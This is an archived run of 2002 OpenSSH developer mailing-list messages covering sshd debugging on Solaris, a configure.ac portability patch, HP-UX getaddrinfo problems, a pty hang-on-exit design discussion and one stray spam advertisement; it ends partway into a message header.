From tan_chee_koon at iesingapore.gov.sg  Mon Aug  5 16:45:14 2002
From: tan_chee_koon at iesingapore.gov.sg (tan_chee_koon at iesingapore.gov.sg)
Date: Mon, 5 Aug 2002 14:45:14 +0800
Subject: openssh problem
Message-ID: <OF12EE7428.2337A358-ON48256C0C.00251596@gems2.gov.sg>


 Hi SSH developers,

> I have a Solaris 8 machine which I have installed openssh ver3.4p1 from
> www.sunfreeware.com.
> I have configured it to work in a chroot environment and the daemon is
able
> to start without any
> problem.
>
> I start the sshd daemon as follows :
>
> /usr/sbin/chroot   /ftphome    /usr/local/sbin/sshd
>
> I do a sftp connection to the localhost to test the connection.
>
> However, there is still an error while connecting. This error occur after
I
> enter my
> password successfully. The error message is as follows :
>
> sshd [1944] : fatal : monitor_read : unsupported_request : 24.
>
> It seemed to me that the login went through but it simply disconnects
> immediately after that with the above error message.
>
> Seeking your advice please.
>

> I attached the debug session from the sshd as follows. I am very sure the
> password is correct.
>
> Thanks
>
==============================================================================

>
> debug1: sshd version OpenSSH_3.4p1
> debug1: private host key: #0 type 0 RSA1
> debug1: read PEM private key done: type RSA
> debug1: private host key: #1 type 1 RSA
> debug1: read PEM private key done: type DSA
> debug1: private host key: #2 type 2 DSA
> debug1: Bind to port 22 on ::.
> Server listening on :: port 22.
> debug1: Bind to port 22 on 0.0.0.0.
> Server listening on 0.0.0.0 port 22.
> Generating 768 bit RSA key.
> RSA key generation complete.
> debug1: Server will not fork when running in debugging mode.
> Connection from 127.0.0.1 port 32948
> debug1: Client protocol version 2.0; client software version
OpenSSH_3.4p1
> debug1: match: OpenSSH_3.4p1 pat OpenSSH*
> Enabling compatibility mode for protocol 2.0
> debug1: Local version string SSH-1.99-OpenSSH_3.4p1
> debug1: list_hostkey_types: ssh-rsa,ssh-dss
> debug1: SSH2_MSG_KEXINIT sent
> debug1: SSH2_MSG_KEXINIT received
> debug1: kex: client->server aes128-cbc hmac-md5 none
> debug1: kex: server->client aes128-cbc hmac-md5 none
> debug1: SSH2_MSG_KEX_DH_GEX_REQUEST received
> debug1: SSH2_MSG_KEX_DH_GEX_GROUP sent
> debug1: dh_gen_key: priv key bits set: 134/256
> debug1: bits set: 1602/3191
> debug1: expecting SSH2_MSG_KEX_DH_GEX_INIT
> debug1: bits set: 1528/3191
> debug1: SSH2_MSG_KEX_DH_GEX_REPLY sent
> debug1: kex_derive_keys
> debug1: newkeys: mode 1
> debug1: SSH2_MSG_NEWKEYS sent
> debug1: waiting for SSH2_MSG_NEWKEYS
> debug1: newkeys: mode 0
> debug1: SSH2_MSG_NEWKEYS received
> debug1: KEX done
> debug1: userauth-request for user cheekoon service ssh-connection method
> none
> debug1: attempt 0 failures 0
> debug1: Starting up PAM with username "cheekoon"
> debug1: PAM setting rhost to "localhost"
> Failed none for cheekoon from 127.0.0.1 port 32948 ssh2
> Failed none for cheekoon from 127.0.0.1 port 32948 ssh2
> debug1: userauth-request for user cheekoon service ssh-connection method
> keyboard-interactive
> debug1: attempt 1 failures 1
> debug1: keyboard-interactive devs
> debug1: auth2_challenge: user=cheekoon devs=
> debug1: kbdint_alloc: devices ''
> Failed keyboard-interactive for cheekoon from 127.0.0.1 port 32948 ssh2
> debug1: userauth-request for user cheekoon service ssh-connection method
> password
> debug1: attempt 2 failures 2
> debug1: PAM Password authentication accepted for user "cheekoon"
> PAM rejected by account configuration[7]: Permission denied
> Failed password for cheekoon from 127.0.0.1 port 32948 ssh2
> Accepted password for cheekoon from 127.0.0.1 port 32948 ssh2
> monitor_read: unsupported request: 24
> debug1: Calling cleanup 0x2f7e8(0x0)
> debug1: Calling cleanup 0x4b560(0x0)
>













From strube at physik3.gwdg.de  Fri Aug  2 22:49:45 2002
From: strube at physik3.gwdg.de (Hans Werner Strube)
Date: Fri, 2 Aug 2002 14:49:45 +0200 (MET DST)
Subject: [Bug 375] New: sshd core dumping with msg "Cannot delete credentials"
Message-ID: <200208021249.OAA01005@r2d2.physik3.gwdg.de>

Try my patch from 2001-11-22 11:52:31,
Subject: Re: Solaris PAM: Cannot delete credentials
http://marc.theaimsgroup.com/?l=openssh-unix-dev&m=100643017215589&w=2

The line numbers given there were valid for 2.9.9p2 through 3.0.1p1 and
might have to be changed. But I applied the patch to 3.1p1 and 3.4p1
as well. However, even without the patch I never got core dumps.


From dtucker at zip.com.au  Mon Aug  5 18:43:20 2002
From: dtucker at zip.com.au (Darren Tucker)
Date: Mon, 05 Aug 2002 18:43:20 +1000
Subject: [Patch] configure tests return instead of exit
References: <Pine.UW2.4.44.0208042059110.6790-100000@ou8.int.multitalents.net>
Message-ID: <3D4E3AA8.4B89610C@zip.com.au>

Tim Rice wrote:
[about OpenSSL configure test]

On the subject of configure.ac, while R'ing the FM for autoconf I
noticed the following at
http://www.gnu.org/manual/autoconf/html_node/Guidelines.html:

"Test programs should exit, not return, from main, because on some
systems (old Suns, at least) the argument to return in main is ignored."

Is there a reason some tests use return in configure.ac? If not, the
attached patch changes them.

-- 
Darren Tucker (dtucker at zip.com.au)
GPG Fingerprint D9A3 86E9 7EEE AF4B B2D4  37C9 C982 80C7 8FF4 FA69
    Good judgement comes with experience. Unfortunately, the experience
usually comes from bad judgement.
-------------- next part --------------
Index: configure.ac
===================================================================
RCS file: /cvs/openssh/configure.ac,v
retrieving revision 1.84
diff -u -r1.84 configure.ac
--- configure.ac	23 Jul 2002 00:00:06 -0000	1.84
+++ configure.ac	5 Aug 2002 08:29:54 -0000
@@ -487,7 +487,7 @@
 	[
 #include <sys/types.h>
 #include <dirent.h>
-int main(void){struct dirent d;return(sizeof(d.d_name)<=sizeof(char));}
+int main(void){struct dirent d;exit(sizeof(d.d_name)<=sizeof(char));}
 	],
 	[AC_MSG_RESULT(yes)], 
 	[
@@ -518,7 +518,7 @@
 				[
 #include <stdio.h>
 #include <skey.h>
-int main() { char *ff = skey_keyinfo(""); ff=""; return 0; }
+int main() { char *ff = skey_keyinfo(""); ff=""; exit(0); }
 				],
 				[AC_MSG_RESULT(yes)],
 				[
@@ -658,7 +658,7 @@
 	AC_TRY_RUN(
 		[
 #include <stdio.h>
-int main(void){char b[5];snprintf(b,5,"123456789");return(b[4]!='\0');}
+int main(void){char b[5];snprintf(b,5,"123456789");exit(b[4]!='\0');}
 		],
 		[AC_MSG_RESULT(yes)], 
 		[
@@ -771,7 +771,7 @@
 	[
 #include <string.h>
 #include <openssl/opensslv.h>
-int main(void) { return(SSLeay() == OPENSSL_VERSION_NUMBER ? 0 : 1); }
+int main(void) { exit(SSLeay() == OPENSSL_VERSION_NUMBER ? 0 : 1); }
 	],
 	[
 		AC_MSG_RESULT(yes)
@@ -797,7 +797,7 @@
 	[
 #include <string.h>
 #include <openssl/rand.h>
-int main(void) { return(RAND_status() == 1 ? 0 : 1); }
+int main(void) { exit(RAND_status() == 1 ? 0 : 1); }
 	],
 	[
 		OPENSSL_SEEDS_ITSELF=yes

From Markus.Friedl at informatik.uni-erlangen.de  Mon Aug  5 19:17:58 2002
From: Markus.Friedl at informatik.uni-erlangen.de (Markus Friedl)
Date: Mon, 5 Aug 2002 11:17:58 +0200
Subject: Openssl and openssh
In-Reply-To: <87eldity53.fsf@CERT.Uni-Stuttgart.DE>
References: <20020726083356.DA264E902@shitei.mindrot.org> <01f901c23951$dce1e080$390110ac@kursi> <87eldity53.fsf@CERT.Uni-Stuttgart.DE>
Message-ID: <20020805091758.GA13987@faui02>

On Thu, Aug 01, 2002 at 05:08:24PM +0200, Florian Weimer wrote:
> "kumar" <kumareshind at gmx.net> writes:
> 
> > I had seen some recommendations for and against that these vulnerabilities
> > affects OpenSSH.
> 
> Protocol 2 RSA public key/host based authentication calls OpenSSL's
> RSA_verify, which ueses the ASN.1 parser internally.  Exploiting
> CAN-2002-0659 still requires that the SSH2 public key has been stored
> on the SSH server, so no anonymous attacks are possible in typical
> contexts.

we will probably try this in the future:

http://www.openbsd.org/cgi-bin/cvsweb/src/usr.bin/ssh/ssh-rsa.c.diff?r1=1.24&r2=1.25


From market at xmwinner.com  Mon Aug  5 19:58:46 2002
From: market at xmwinner.com (Sandy)
Date: Mon, 5 Aug 2002 17:58:46 +0800
Subject: (no subject)
Message-ID: <20020805095811.33C263D31B@shitei.mindrot.org>

Dear Sir or Madam:
Having had your name and address from internet searching, we now avail ourselves of this opportunity to write to you with a view to entering into business relation.
We ---XIAMEN WINNER TECHNOLOGY DEVELOPMENT CO.LTD, is engaged in the researching & developing, manufacturing & exporting high-technology products (Both software & hardware).
Our series products now cover as follows:
Fingerprint Time & Attendance  (FDA-01A/B/C);
Smart Card Time & Attendance;
Fingerprint Safe;
Electronic Safe;
Fingerprint intercom system (For household, community, office building, single door, Net-linked doors etc.);
Parking lot toll system
Our excellent engineering team & skilled workers can ensure high quality & prompt delivery.
Should any of products be interest of you, please let us know.
For detail information , please browse
 Http: //www.int-bid.com/WINNER
or contact,
Address : 4-5F, Laodongli Building, Chang Qing Road, Xiamen, China
Tel:86-592-5327091,5327092,5038873,5077961 
Fax:86-592-5099521
e-mail: market at xmwinner.com

    


???????
  ??????????????
<<---????????????????????--->>
-----------------------------------------------
?????--????????;?????????
??100M????350?/???????+5???
??????????????????????
http://www.800asp.net
??????????????????????????????
????????????????? http://www.chinasql.com?
???? ???? + 100M??  ?10?????????????
???318?,???????                                ?
??????????????????????????????
??????Email??????
??????: http://www.ehoosoft.com
??????:  ??Email????
??????:  ??Email??     
??????:  ??Email????  
 ...... 

 
 


From djm at mindrot.org  Mon Aug  5 21:19:06 2002
From: djm at mindrot.org (Damien Miller)
Date: 05 Aug 2002 21:19:06 +1000
Subject: (no subject)
In-Reply-To: <20020805095811.33C263D31B@shitei.mindrot.org>
References: <20020805095811.33C263D31B@shitei.mindrot.org>
Message-ID: <1028546347.16395.0.camel@mothra.mindrot.org>

On Mon, 2002-08-05 at 19:58, Sandy wrote:
> Dear Sir or Madam:
> Having had your name and address from internet searching, we now avail ourselves of this opportunity to write to you with a view to entering into business relation.

Obviously the spam filter isn't perfect yet...



From fcusack at fcusack.com  Mon Aug  5 21:11:25 2002
From: fcusack at fcusack.com (Frank Cusack)
Date: Mon, 5 Aug 2002 04:11:25 -0700
Subject: so-called-hang-on-exit
In-Reply-To: <Pine.LNX.4.44.0208032133090.1034-100000@loussa.kamppa>; from jjaakkol@cs.helsinki.fi on Sat, Aug 03, 2002 at 10:02:27PM +0300
References: <Pine.LNX.4.44.0208030000470.1034-100000@loussa.kamppa> <Pine.LNX.4.44.0208032133090.1034-100000@loussa.kamppa>
Message-ID: <20020805041125.A5018@google.com>

On Sat, Aug 03, 2002 at 10:02:27PM +0300, Jani Jaakkola wrote:
> On Sat, 3 Aug 2002, Jani Jaakkola wrote:
> 
> > My suggestion is that instead of just closing the channel when the 
> > session process dies, sshd should effort to empty the pty buffer before 
> > closing the channel. This could be implemented so that 

Great idea!

> > when the session process dies, sshd should read (and buffer) the pty 
> > master data until it gets EAGAIN and then close the channel. All 
> > pending output from dead session processes should allready be in the pty 
> > buffer, so first EAGAIN means that all of it has been read processed.
> > 
> > I guess I will attempt to implement this, but it will take some time (I 
> > will need to learn how session.c and serverloop.c work first).
> 
> OK, now I have implemented it. Currently only for protocol 2, but a 
> similar thing can be implemented for protocol 1 (and the protocol 1 patch 
> would be simpler).

I've implemented something similar for protocol 1, and implemented a
slightly simpler version of your patch for protocol 2.  Before I post it,
I'm curious as to what the intent is of being able to specify the
select() timeout.

Also, I'm not sure why you test for EAGAIN instead of just checking
if the bit is set in the readset.  My patch just does an FD_ISSET(...)
on the appropriate bit (c->rfd) iff it was set going into select()
(ie, if the remote_window wasn't already full).

I think the two (yours and mine) ar equivalent except that mine doesn't
allocate more memory for the output buffer, at the expense of having to
test for the fd being set going into the select() call.  That expense
could be alleviated simply by saving the input set, but that means
adding a global (not necessarily bad) or adding an arg to a bunch of
the channel_*() calls.

The reasons I did it that way instead of forcing a read() and testing for
EAGAIN were

- my test for protocol 1 was simpler to do that way
- I figured it's cleaner to have the protocol 2 code do the same
- I figured the code purposely doesn't allocate more memory for the output
  buffer, so I didn't want to second-guess that (even though the patch
  code only runs at the end of the session; but still, something like
  'ssh host "yes & exit"' will generate lots of data)

/fc


From Nicolas.Williams at ubsw.com  Tue Aug  6 00:01:18 2002
From: Nicolas.Williams at ubsw.com (Nicolas.Williams at ubsw.com)
Date: Mon, 5 Aug 2002 10:01:18 -0400
Subject: so-called-hang-on-exit
Message-ID: <BF5F3FE870FB5C4B89BC1A1FBC76778C08EBFB@NSTMC004PEX1.ubsgs.ubsgroup.net>

I still think this sort of thing should be done by the client.

The client knows everything that the server knows. So the client
can choose to terminate the SSHv2 session when the PTY session
process leader exits - and it can implement any other termination
heuristic you wish too.

Nico
-- 

> -----Original Message-----
> From: Jani Jaakkola [mailto:jjaakkol at cs.helsinki.fi]
> Sent: Saturday, August 03, 2002 3:02 PM
> To: openssh-unix-dev at mindrot.org
> Subject: Re: so-called-hang-on-exit
> 

[...]

> OK, now I have implemented it. Currently only for protocol 2, but a 
> similar thing can be implemented for protocol 1 (and the 
> protocol 1 patch 
> would be simpler).
> 
> Here is what it does (or should do; I have made mistakes before):
> 
> - Applies against openssh-3.4p1
> - This patch only changes behavior of ssh protocol 2 sessions 
> with a tty.
>   Everything else should remain as it was.
> - It does its job by reading all immediately available data from the
>   pty when the pty session process dies. This should include all data
>   from the pty session foreground processes.
> - It can and will lose data from pty session background processes.
> - It might still hang indefinetely, if the background processes keep
>   producing more data than the sshd process can read and transfer to 
>   client (so that pty buffer will never get completely 
> empty). I consider 
>   this a feature of this solution, not a bug.

[...]

Visit our website at http://www.ubswarburg.com

This message contains confidential information and is intended only 
for the individual named.  If you are not the named addressee you 
should not disseminate, distribute or copy this e-mail.  Please 
notify the sender immediately by e-mail if you have received this 
e-mail by mistake and delete this e-mail from your system.

E-mail transmission cannot be guaranteed to be secure or error-free 
as information could be intercepted, corrupted, lost, destroyed, 
arrive late or incomplete, or contain viruses.  The sender therefore 
does not accept liability for any errors or omissions in the contents 
of this message which arise as a result of e-mail transmission.  If 
verification is required please request a hard-copy version.  This 
message is provided for informational purposes and should not be 
construed as a solicitation or offer to buy or sell any securities or 
related financial instruments.



From toml at engr.orst.edu  Tue Aug  6 01:25:28 2002
From: toml at engr.orst.edu (Tom Lieuallen)
Date: Mon, 05 Aug 2002 08:25:28 -0700
Subject: openssh on HPUX 11i
Message-ID: <200208051525.g75FPSkc003391@engr.orst.edu>

In case this hasn't already been reported or discussed...

It took some doing for me to get openssh working on HPUX 11i.
The fixes are quite simple.  First, one must have the IPV6
package installed:

em 512# swlist -l product | grep IPV6
  IPV6AA                A.01.01.5D     IPv6 11i product 

Second, I have to edit config.h to undefine HAVE_GETADDRINFO.

Without IPV6, ssh can't connect to remote hosts. I don't recall,
but sshd might still function.  Without undefining HAVE_GETADDRINFO,
X11 doesn't work.  It won't setup the virtual display and set DISPLAY.

On a different note, our /usr/local is in NFS, and as we absolutely
depend on SSH (no telnet or rsh), we install ssh locally in /usr.
But, our openssl is installed in /usr/local.  Every time I compile
openssh I have to remember to edit the Makefile and set options so
that libcrypto (and libz on solaris) are linked staticly.  This is
really an environment issue/challenge, but I wouldn't be surprised if
others encounter it as well.  It might be a nice addition to a howto
or readme if people don't feel it is worth addressing with configure. :-)

I don't read this list, so if there is any desire to mail back,
do so separately. :-)

Thank you

Tom Lieuallen
Oregon State University


From Matt.Loveland at AGEDWARDS.com  Tue Aug  6 01:53:04 2002
From: Matt.Loveland at AGEDWARDS.com (Loveland, Matt)
Date: Mon, 5 Aug 2002 10:53:04 -0500 
Subject: openssh on HPUX 11i
Message-ID: <831B2B0ACB9BD51180630002A56BD0F0027CA64A@hqempn09.agedwards.com>

I'm curious as to why OpenSSH would require IPV6?

Here is the error I get when trying to SSH from an HP-UX 11i system to an
HP-UX 11.00 system.  Both systems are running OpenSSH 3.4p1.

[hhlablu3:/home/lovelanm] ssh -v -v -v -p 22 hhlablu5.tnt.agedwards.com

OpenSSH_3.4p1, SSH protocols 1.5/2.0, OpenSSL 0x0090603f
debug1: Reading configuration data /opt/openssh/etc/ssh_config
debug1: Applying options for *
debug3: cipher ok: aes192-cbc
[aes192-cbc,aes256-cbc,blowfish-cbc,3des-cbc,aes128-cbc]
debug3: cipher ok: aes256-cbc
[aes192-cbc,aes256-cbc,blowfish-cbc,3des-cbc,aes128-cbc]
debug3: cipher ok: blowfish-cbc
[aes192-cbc,aes256-cbc,blowfish-cbc,3des-cbc,aes128-cbc]
debug3: cipher ok: 3des-cbc
[aes192-cbc,aes256-cbc,blowfish-cbc,3des-cbc,aes128-cbc]
debug3: cipher ok: aes128-cbc
[aes192-cbc,aes256-cbc,blowfish-cbc,3des-cbc,aes128-cbc]
debug3: ciphers ok: [aes192-cbc,aes256-cbc,blowfish-cbc,3des-cbc,aes128-cbc]
debug3: Seeding PRNG from /opt/openssh/libexec/ssh-rand-helper
debug1: Rhosts Authentication disabled, originating port will not be
trusted.
debug1: ssh_connect: needpriv 0
ssh: hhlablu5.tnt.agedwards.com: host nor service provided, or not known

There don't appear to be any issues with sshd running on the 11i server.  I
can ssh/scp/sftp to it normally.

I really don't want to have to put the IPV6 package on all my boxes, so if
someone knows of a workaround, that would be great.

Thanks,
Matt Loveland
Unix Architect, NetEffects, Inc.

 -----Original Message-----
From: 	Tom Lieuallen [mailto:toml at engr.orst.edu] 
Sent:	Monday, August 05, 2002 10:25 AM
To:	openssh-unix-dev at mindrot.org
Subject:	openssh on HPUX 11i


In case this hasn't already been reported or discussed...

It took some doing for me to get openssh working on HPUX 11i.
The fixes are quite simple.  First, one must have the IPV6
package installed:

em 512# swlist -l product | grep IPV6
  IPV6AA                A.01.01.5D     IPv6 11i product 

Second, I have to edit config.h to undefine HAVE_GETADDRINFO.

Without IPV6, ssh can't connect to remote hosts. I don't recall,
but sshd might still function.  Without undefining HAVE_GETADDRINFO,
X11 doesn't work.  It won't setup the virtual display and set DISPLAY.

On a different note, our /usr/local is in NFS, and as we absolutely
depend on SSH (no telnet or rsh), we install ssh locally in /usr.
But, our openssl is installed in /usr/local.  Every time I compile
openssh I have to remember to edit the Makefile and set options so
that libcrypto (and libz on solaris) are linked staticly.  This is
really an environment issue/challenge, but I wouldn't be surprised if
others encounter it as well.  It might be a nice addition to a howto
or readme if people don't feel it is worth addressing with configure. :-)

I don't read this list, so if there is any desire to mail back,
do so separately. :-)

Thank you

Tom Lieuallen
Oregon State University
_______________________________________________
openssh-unix-dev at mindrot.org mailing list
http://www.mindrot.org/mailman/listinfo/openssh-unix-dev


***********************************************************************************
WARNING:  All e-mail sent to and from this address will be received or
otherwise recorded by the A.G. Edwards corporate e-mail system and is
subject to archival, monitoring or review by, and/or disclosure to,
someone other than the recipient.
************************************************************************************
-------------- next part --------------
An HTML attachment was scrubbed...
URL: http://lists.mindrot.org/pipermail/openssh-unix-dev/attachments/20020805/16ddfe3e/attachment.html 

From alexy.khrabrov at setup.org  Tue Aug  6 03:42:07 2002
From: alexy.khrabrov at setup.org (Alexy Khrabrov)
Date: Mon, 5 Aug 2002 13:42:07 -0400 (EDT)
Subject: ./configure missing in _portable_ openssh?
Message-ID: <200208051742.g75Hg7T22090@angle.badbox.com>

Just went and cvs co'd portable openssh as described on the website.
However, there's no configure there. nor there's a build.conf script
of some sort to rebuild it.  When I manually did 
autoconf configure.ac > configuire, I got something, but it couldn't
find config.h.in when running.  An attempt to run automake said that
aclocal.m4 is obsolete and I need to rerun aclocal, but running it
produced nothing.  I got the latest autoconf 2.53 and automake 1.6.3.

Hmm... how do I get a ./configure there?

Cheers,
Alexy


From kevin at atomicgears.com  Tue Aug  6 04:01:19 2002
From: kevin at atomicgears.com (Kevin Steves)
Date: Mon, 5 Aug 2002 11:01:19 -0700
Subject: openssh on HPUX 11i
In-Reply-To: <200208051525.g75FPSkc003391@engr.orst.edu>
References: <200208051525.g75FPSkc003391@engr.orst.edu>
Message-ID: <20020805180119.GB28961@scott.crlsca.adelphia.net>

On Mon, Aug 05, 2002 at 08:25:28AM -0700, Tom Lieuallen wrote:
> In case this hasn't already been reported or discussed...
> 
> It took some doing for me to get openssh working on HPUX 11i.
> The fixes are quite simple.  First, one must have the IPV6
> package installed:
> 
> em 512# swlist -l product | grep IPV6
>   IPV6AA                A.01.01.5D     IPv6 11i product 

That should not be true. see:
http://bugzilla.mindrot.org/show_bug.cgi?id=239

HP created a lot of frustration for its customers by releasing
a libc patch that added getaddrinfo() and friends but does not
work unless ipv6 is installed.  I informed Mike Huey at HP about
all this back in May.  I do not know if there are patches to fix
the issues and was not provided any defect IDs.  You need to
talk to HP support.

> Second, I have to edit config.h to undefine HAVE_GETADDRINFO.
>
> Without IPV6, ssh can't connect to remote hosts. I don't recall,
> but sshd might still function.  Without undefining HAVE_GETADDRINFO,
> X11 doesn't work.  It won't setup the virtual display and set DISPLAY.

It sounds like even with ipv6 the HP getaddrinfo() is not working.

> On a different note, our /usr/local is in NFS, and as we absolutely
> depend on SSH (no telnet or rsh), we install ssh locally in /usr.
> But, our openssl is installed in /usr/local.  Every time I compile
> openssh I have to remember to edit the Makefile and set options so
> that libcrypto (and libz on solaris) are linked staticly.  This is
> really an environment issue/challenge, but I wouldn't be surprised if
> others encounter it as well.  It might be a nice addition to a howto
> or readme if people don't feel it is worth addressing with configure. :-)

Or just don't build shared versions, that is what I do:
http://www.atomicgears.com/papers/osshhpux.html


From tim at multitalents.net  Tue Aug  6 04:05:54 2002
From: tim at multitalents.net (Tim Rice)
Date: Mon, 5 Aug 2002 11:05:54 -0700 (PDT)
Subject: ./configure missing in _portable_ openssh?
In-Reply-To: <200208051742.g75Hg7T22090@angle.badbox.com>
Message-ID: <Pine.UW2.4.44.0208051104190.9099-100000@ou8.int.multitalents.net>

On Mon, 5 Aug 2002, Alexy Khrabrov wrote:

>
> Just went and cvs co'd portable openssh as described on the website.
> However, there's no configure there. nor there's a build.conf script
> of some sort to rebuild it.  When I manually did
> autoconf configure.ac > configuire, I got something, but it couldn't
> find config.h.in when running.  An attempt to run automake said that
> aclocal.m4 is obsolete and I need to rerun aclocal, but running it
> produced nothing.  I got the latest autoconf 2.53 and automake 1.6.3.
>
> Hmm... how do I get a ./configure there?

make -f Makefile.in distprep

>
> Cheers,
> Alexy

-- 
Tim Rice				Multitalents	(707) 887-1469
tim at multitalents.net




From kevin at atomicgears.com  Tue Aug  6 04:06:55 2002
From: kevin at atomicgears.com (Kevin Steves)
Date: Mon, 5 Aug 2002 11:06:55 -0700
Subject: openssh on HPUX 11i
In-Reply-To: <831B2B0ACB9BD51180630002A56BD0F0027CA64A@hqempn09.agedwards.com>
References: <831B2B0ACB9BD51180630002A56BD0F0027CA64A@hqempn09.agedwards.com>
Message-ID: <20020805180655.GC28961@scott.crlsca.adelphia.net>

On Mon, Aug 05, 2002 at 10:53:04AM -0500, Loveland, Matt wrote:
> I'm curious as to why OpenSSH would require IPV6?

It does not.

> Here is the error I get when trying to SSH from an HP-UX 11i system to an
> HP-UX 11.00 system.  Both systems are running OpenSSH 3.4p1.
> 
> [hhlablu3:/home/lovelanm] ssh -v -v -v -p 22 hhlablu5.tnt.agedwards.com
> 
> ssh: hhlablu5.tnt.agedwards.com: host nor service provided, or not known

http://bugzilla.mindrot.org/show_bug.cgi?id=239

However, please tell HP support of the problem if you have a support
contract so they will fix it (I am not working for a client with HP
support right now).  HP was aware of this months ago.


From Matt.Loveland at AGEDWARDS.com  Tue Aug  6 05:27:24 2002
From: Matt.Loveland at AGEDWARDS.com (Loveland, Matt)
Date: Mon, 5 Aug 2002 14:27:24 -0500 
Subject: openssh on HPUX 11i
Message-ID: <831B2B0ACB9BD51180630002A56BD0F0027CA650@hqempn09.agedwards.com>

What are the consequences of doing the  undefine HAVE_GETADDRINFO?

I also saw this in the HP Forums so I'll post a follow-up message there as
well as logging a support call with HP.

Thanks,
Matt

Matt Loveland
TS/Unix Architecture
E4-C-36R
314.955.9218

 -----Original Message-----
From: 	Kevin Steves [mailto:kevin at atomicgears.com] 
Sent:	Monday, August 05, 2002 1:01 PM
To:	Tom Lieuallen
Cc:	openssh-unix-dev at mindrot.org; stevesk at pobox.com
Subject:	Re: openssh on HPUX 11i

On Mon, Aug 05, 2002 at 08:25:28AM -0700, Tom Lieuallen wrote:
> In case this hasn't already been reported or discussed...
> 
> It took some doing for me to get openssh working on HPUX 11i.
> The fixes are quite simple.  First, one must have the IPV6
> package installed:
> 
> em 512# swlist -l product | grep IPV6
>   IPV6AA                A.01.01.5D     IPv6 11i product 

That should not be true. see:
http://bugzilla.mindrot.org/show_bug.cgi?id=239

HP created a lot of frustration for its customers by releasing
a libc patch that added getaddrinfo() and friends but does not
work unless ipv6 is installed.  I informed Mike Huey at HP about
all this back in May.  I do not know if there are patches to fix
the issues and was not provided any defect IDs.  You need to
talk to HP support.

> Second, I have to edit config.h to undefine HAVE_GETADDRINFO.
>
> Without IPV6, ssh can't connect to remote hosts. I don't recall,
> but sshd might still function.  Without undefining HAVE_GETADDRINFO,
> X11 doesn't work.  It won't setup the virtual display and set DISPLAY.

It sounds like even with ipv6 the HP getaddrinfo() is not working.

> On a different note, our /usr/local is in NFS, and as we absolutely
> depend on SSH (no telnet or rsh), we install ssh locally in /usr.
> But, our openssl is installed in /usr/local.  Every time I compile
> openssh I have to remember to edit the Makefile and set options so
> that libcrypto (and libz on solaris) are linked staticly.  This is
> really an environment issue/challenge, but I wouldn't be surprised if
> others encounter it as well.  It might be a nice addition to a howto
> or readme if people don't feel it is worth addressing with configure. :-)

Or just don't build shared versions, that is what I do:
http://www.atomicgears.com/papers/osshhpux.html
_______________________________________________
openssh-unix-dev at mindrot.org mailing list
http://www.mindrot.org/mailman/listinfo/openssh-unix-dev


***********************************************************************************
WARNING:  All e-mail sent to and from this address will be received or
otherwise recorded by the A.G. Edwards corporate e-mail system and is
subject to archival, monitoring or review by, and/or disclosure to,
someone other than the recipient.
************************************************************************************
-------------- next part --------------
An HTML attachment was scrubbed...
URL: http://lists.mindrot.org/pipermail/openssh-unix-dev/attachments/20020805/33d540bc/attachment.html 

From jjaakkol at cs.Helsinki.FI  Tue Aug  6 06:20:18 2002
From: jjaakkol at cs.Helsinki.FI (Jani Jaakkola)
Date: Mon, 5 Aug 2002 23:20:18 +0300 (EEST)
Subject: so-called-hang-on-exit
In-Reply-To: <BF5F3FE870FB5C4B89BC1A1FBC76778C08EBFB@NSTMC004PEX1.ubsgs.ubsgroup.net>
Message-ID: <Pine.LNX.4.44.0208052315200.1071-100000@loussa.kamppa>

On Mon, 5 Aug 2002 Nicolas.Williams at ubsw.com wrote:

> 
> I still think this sort of thing should be done by the client.
> 
> The client knows everything that the server knows.

Except this time is does not. If there is background processses on the 
tty, the client can either close the session and lose data or wait 
indefinetely for data from the background processes.

> So the client
> can choose to terminate the SSHv2 session when the PTY session
> process leader exits - and it can implement any other termination
> heuristic you wish too.

It needs server modifications that data from the pty session process 
leaders is not lost. I think rlogin and all other pty using programs have 
allready implemented this properly; which is that the pty buffer is 
first emptied and the connection is closed _after_ that.

- Jani



From Nicolas.Williams at ubsw.com  Tue Aug  6 06:31:26 2002
From: Nicolas.Williams at ubsw.com (Nicolas.Williams at ubsw.com)
Date: Mon, 5 Aug 2002 16:31:26 -0400
Subject: so-called-hang-on-exit
Message-ID: <BF5F3FE870FB5C4B89BC1A1FBC76778C08EBFF@NSTMC004PEX1.ubsgs.ubsgroup.net>

Fair enough on the flushing of the pty. But sshd should still
not close the pty - it should wait for the background processes
to exit and/or dissassociate from the pty.

The client does know that there are background processes left
still holding the pty open. How? Because the client requested
and got a pty, the sshd has sent a session-exit message, and
the channel is still open.

Cheers,

Nico
-- 

> -----Original Message-----
> From: Jani Jaakkola [mailto:jjaakkol at cs.Helsinki.FI]
> Sent: Monday, August 05, 2002 4:20 PM
> To: Williams, Nicolas
> Cc: openssh-unix-dev at mindrot.org
> Subject: RE: so-called-hang-on-exit
> 
> 
> On Mon, 5 Aug 2002 Nicolas.Williams at ubsw.com wrote:
> 
> > 
> > I still think this sort of thing should be done by the client.
> > 
> > The client knows everything that the server knows.
> 
> Except this time is does not. If there is background 
> processses on the 
> tty, the client can either close the session and lose data or wait 
> indefinetely for data from the background processes.
> 
> > So the client
> > can choose to terminate the SSHv2 session when the PTY session
> > process leader exits - and it can implement any other termination
> > heuristic you wish too.
> 
> It needs server modifications that data from the pty session process 
> leaders is not lost. I think rlogin and all other pty using 
> programs have 
> allready implemented this properly; which is that the pty buffer is 
> first emptied and the connection is closed _after_ that.
> 
> - Jani
> 
> 

Visit our website at http://www.ubswarburg.com

This message contains confidential information and is intended only 
for the individual named.  If you are not the named addressee you 
should not disseminate, distribute or copy this e-mail.  Please 
notify the sender immediately by e-mail if you have received this 
e-mail by mistake and delete this e-mail from your system.

E-mail transmission cannot be guaranteed to be secure or error-free 
as information could be intercepted, corrupted, lost, destroyed, 
arrive late or incomplete, or contain viruses.  The sender therefore 
does not accept liability for any errors or omissions in the contents 
of this message which arise as a result of e-mail transmission.  If 
verification is required please request a hard-copy version.  This 
message is provided for informational purposes and should not be 
construed as a solicitation or offer to buy or sell any securities or 
related financial instruments.



From vervoom at hotmail.com  Tue Aug  6 06:36:23 2002
From: vervoom at hotmail.com (J S)
Date: Mon, 05 Aug 2002 20:36:23 +0000
Subject: password prompt
Message-ID: <LAW2-F69T7eEmP9CDBH00015399@hotmail.com>

Hi,

I would like to do some development on the securid patch to get it to 
display the passcode prompt when users log in with securid on ssh.

Can anyone tell me which scripts currently handle the logon/password prompt 
in openssh please?

Thanks,

JS.



_________________________________________________________________
Join the world?s largest e-mail service with MSN Hotmail. 
http://www.hotmail.com



From jakob at crt.se  Tue Aug  6 07:38:54 2002
